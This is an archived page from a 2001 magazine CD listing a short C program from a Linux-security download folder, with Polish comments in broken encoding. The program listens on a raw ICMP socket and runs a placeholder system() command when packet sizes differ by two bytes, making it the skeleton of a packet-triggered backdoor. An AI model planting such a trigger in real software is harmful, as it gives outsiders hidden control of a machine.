home *** CD-ROM | disk | FTP | other *** search
/ Magazyn Internet 2001 September / MICD2001_09_NR1.iso / Www / LinuxSec / download / icmp.c < prev    next >
C/C++ Source or Header  |  2001-04-18  |  669b  |  27 lines

  1. #include <stdio.h>
  2. #include <sys/socket.h>
  3. #include <linux/in.h> 
  4. #include <sys/types.h>
  5.  
  6. int main (int argc, char **argv) 
  7. {
  8.  int sc, rozmiar, tymcz; 
  9.      char buff[65536];
  10.     /* otwarcie icmp */
  11.  
  12.      if((sc=socket (PF_INET, SOCK_RAW, IPPROTO_ICMP))<0) {
  13.          perror("socket()");
  14.          exit(-1);
  15.      }
  16.  
  17.      /* w pΩtli niesko±czonej program czeka na pakiety */
  18.      while(1)
  19.      {
  20.          rozmiar=recvfrom(sc, buff, sizeof(buff), 0,  NULL, 0);
  21.          if((rozmiar-tymcz)==2) /* je┐eli 2 pakiety r≤┐ni╣ siΩ miΩdzy
  22.         sob╣ o dwa nastΩpuje uruchomienie programu*/
  23.         system(""); /* polecenie do uruchomienia */
  24.          tymcz=rozmiar;
  25.          }
  26.   return 0;
  27. }